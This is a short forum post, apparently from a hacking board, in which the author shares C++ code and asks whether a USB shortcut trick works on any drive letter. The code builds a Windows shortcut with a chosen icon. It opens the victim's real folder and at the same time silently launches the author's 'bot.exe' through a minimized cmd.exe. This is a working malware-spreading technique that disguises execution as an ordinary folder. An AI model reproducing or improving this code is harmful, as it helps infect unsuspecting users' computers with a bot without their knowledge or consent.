So I'm using this shortcut:
It first opens the directory with all their files and then my bot.
The question is, will it work fine on all USB's, no matter what drive letter? Thx
Код:
void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
IShellLinkW *psl;
HRESULT hres;
CoInitialize(NULL);
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);
if (SUCCEEDED(hres) && psl)
{
WCHAR wszLnkArg[MAX_PATH];
wsprintfW(wszLnkArg, L"/c start .\\dir & start .\\dir\\bot.exe");
psl->SetPath(L"%windir%\\System32\\cmd.exe");
psl->SetIconLocation(lpIconFile, iIconIndex);
psl->SetShowCmd(SW_SHOWMINNOACTIVE);
psl->SetArguments(wszLnkArg);
IPersistFile *ppf;
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
if (SUCCEEDED(hres) && ppf)
{
ppf->Save(lpLnkFile, TRUE);
ppf->Release();
}
psl->Release();
}
}
It first opens the directory with all their files and then my bot.
The question is, will it work fine on all USB's, no matter what drive letter? Thx